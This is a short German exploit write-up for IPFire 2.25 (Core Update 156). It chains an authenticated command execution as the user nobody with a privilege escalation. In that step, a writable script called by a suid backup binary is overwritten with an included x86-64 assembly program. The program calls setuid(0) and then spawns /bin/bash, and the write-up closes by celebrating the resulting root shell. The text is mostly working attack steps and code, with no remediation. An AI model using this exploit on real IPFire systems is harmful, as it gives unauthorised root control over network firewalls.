Ipfire 2-25 (core update 156) authentifizierte RCE

• System führt beim Installieren eines Pakets Befehle aus

• System holt 7zip nur aus HTML

• und prüft das tmp-Verzeichnis

• Version 2.25 - Core Update 156

• Ipfire erlaubt nach dem Login das Ausführen beliebiger OS-Befehle als nobody

Root werden!

• die suid-Binärdateien prüfen

• Das Backup-Programm führt ein weiteres Skript aus: /var/ipfire/backup/bin/backup.pl (es ist ein Bash-Skript und die Berechtigungen sehen gut aus)

• Versuch, in das Bash-Skript zu schreiben. (Kein Fehler. GUT!)

• Versuch, Bash auszuführen

• Ja. Wir können es ausführen, aber es läuft mit niedrigen Rechten. Wir müssen setuid(0) auslösen!
• Speichere dies und führe alti name.asm q aus
• alti ist mein eigenes Compile-Check-Programm im soo_deep-Repo.

bits 64
section .data
  string db "/bin/bash",0x00
  olmadis db "basarisiz.",0x0a,0x00
  olmadil equ $-olmadis
section .text
  global main
main:
  mov rax,105
  mov rdi,0
  syscall
  cmp rax,0
  je getbash

  mov rax,1
  mov rdi,1
  mov rsi,olmadis
  mov rdx,olmadil
  syscall

  mov rax,60
  xor rdi,rdi
  syscall

getbash:
  mov rax,59
  mov rdi,string
  mov rsi,0
  mov rdx,0
  syscall

• und schreibe das neue Programm nach /var/ipfire/backup/bin/backup.pl. (Wir können einen Python-HTTP-Server und curl zum Schreiben verwenden)

• und genieße die Root-Shell!